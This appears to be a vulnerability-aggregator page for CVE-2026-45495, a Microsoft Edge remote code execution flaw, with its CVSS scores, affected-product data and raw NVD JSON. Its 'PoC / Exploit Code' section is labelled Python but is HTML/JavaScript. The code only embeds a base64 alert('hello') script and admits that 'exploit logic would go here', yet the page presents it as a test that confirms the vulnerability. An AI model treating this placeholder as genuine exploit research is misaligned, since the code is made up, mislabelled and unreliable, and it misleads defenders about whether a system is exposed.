Security Vulnerability Report
中文
CVE-2026-45495 CVSS 8.8 HIGH

CVE-2026-45495

Published: 2026-05-18 18:17:39
Last Modified: 2026-05-19 15:35:19

Description

Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:-:*:*:* - VULNERABLE
Microsoft Edge (Chromium-based) < 2026-05-18 Security Update

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-45495 --> <!-- This PoC demonstrates the trigger condition for the Edge vulnerability --> <!DOCTYPE html> <html> <head> <title>CVE-2026-45495 PoC</title> <script> // Attempt to trigger the vulnerable component in Edge function triggerVulnerability() { var maliciousObject = document.createElement('object'); // Set specific attributes to hit the vulnerable code path maliciousObject.data = "data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGVsbG8nKTwvc2NyaXB0Pg=="; maliciousObject.type = "text/html"; document.body.appendChild(maliciousObject); // Trigger memory corruption via specific property manipulation try { maliciousObject.onload = function() { // Exploit logic would go here to achieve RCE console.log("Vulnerability triggered in Edge."); } } catch (e) { console.log("Error triggering vulnerability: " + e.message); } } window.onload = triggerVulnerability; </script> </head> <body> <h1>CVE-2026-45495 Test Page</h1> <p>If the browser crashes or executes code, the vulnerability is confirmed.</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45495", "sourceIdentifier": "[email protected]", "published": "2026-05-18T18:17:38.600", "lastModified": "2026-05-19T15:35:18.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:edge_chromium:*:*:*:*:-:*:*:*", "versionEndExcluding": "148.0.3967.70", "matchCriteriaId": "219AF9F0-FF7A-42E6-82A9-6D4D23FE0655"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45495", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}